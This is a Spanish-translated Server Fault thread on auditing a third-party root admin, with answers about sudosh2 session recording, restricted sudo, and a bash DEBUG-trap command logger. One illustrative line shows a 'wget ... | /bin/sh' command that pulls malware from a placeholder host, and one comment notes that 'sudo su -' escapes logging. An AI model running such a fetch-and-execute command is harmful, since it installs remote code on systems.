Registra cada comando ejecutado desde la raíz

16

Quiero dar acceso a mi servidor raíz a un administrador externo del sistema, pero quiero asegurarme de verificar lo que le está haciendo a mi servidor, por ejemplo, copiar datos que no quiero que hagan, etc. También me gustaría hacer un seguimiento de cualquier archivo al que se acceda, incluso en solo lectura y no editado.

¿Cómo puedo hacer eso?

cedivad
fuente
1
Consulte esta pregunta relacionada: serverfault.com/questions/181131/… ?
Stefan Lasiewski

Respuestas:

21

¡Confiar pero verificar!

Echa un vistazo a sudosh2 . sudosh2 es proporcionado por los puertos de FreeBSD. Los paquetes están disponibles para RedHat y Ubuntu. Aquí está la descripción de su sitio web:

sudosh es un filtro de shell de auditoría y se puede utilizar como shell de inicio de sesión. Sudosh registra todas las pulsaciones de teclas y salidas y puede reproducir la sesión como si fuera una videograbadora.

Sudosh le permitirá reproducir la sesión del usuario, lo que le permitirá ver todas las entradas y salidas tal como las vio el usuario. Puede ver todo, pulsaciones de teclas, errores tipográficos, espacios de retroceso, en qué editaron vi, la salida de wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc.

Es posible enviar registros sudosh a syslog, para que puedan almacenarse en un servidor central de syslog alejado del sistema.

Tenga en cuenta que sudosh2 es un reemplazo para sudosh, que fue abandonado por su autor

¿Trabaja en una institución académica donde los usuarios insisten en tener privilegios de superusuario? ¿O trabaja en una corporación y desea permitir que los usuarios tengan privilegios de superusuario en sus propias máquinas virtuales? Esta podría ser la solución para ti.

Stefan Lasiewski
fuente
1
Excelente: anteriormente no había oído hablar de sudosh.
EEAA
2
¿De qué habla esta 'VCR'?
Tom Marthenal
2
Es como un 8 pistas, ¡pero puedes grabar tus propios programas de televisión!
Stefan Lasiewski
22

No le des acceso root. En su lugar, dele una cuenta de usuario sin privilegios y solicite que haga todo su trabajo sudo, que registrará todos sus comandos.

Tenga en cuenta que si esta persona tiene malas intenciones y le dan privilegios sudo completo, que será encontrar una manera de llevar a cabo esas malas intenciones sin esos comandos están registrando. En este caso, solo concédale acceso a los comandos específicos que necesita para hacer su trabajo.

EEAA
fuente
Quiero hacerlo lo más difícil posible sin hacer que mi vida sea un dolor. Gracias por la respuesta.
cedivad
Simplemente puede ejecutar sudo su -y tener un shell raíz que no se registrará (excepto que lo inició). Esto es lo que normalmente escribo cuando quiero hacer más de un comando como root de una sola vez, o si quiero completar la pestaña en directorios que los usuarios normales no pueden leer.
rjmunro
@rjmunro: es exactamente por eso que emití la advertencia de solo darle el acceso específico que necesita. Puede prohibirlo explícitamente sudo su -si lo desea.
EEAA
1

No estoy familiarizado con sudosh2, pero puse lo siguiente en mi .bashrcpara registrar todos los comandos que escribo en un bashshell en el archivo ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Lo anterior establece una trampa DEBUG, que se ejecuta justo antes de que se ejecute un comando ordinario. El callerincorporado se usa para probar si el comando se está escribiendo en un shell interactivo o se ejecuta a través de algo así .bashrc. El valor ${BASH_COMMAND}contiene el comando que se está ejecutando actualmente.

Richard Hansen
fuente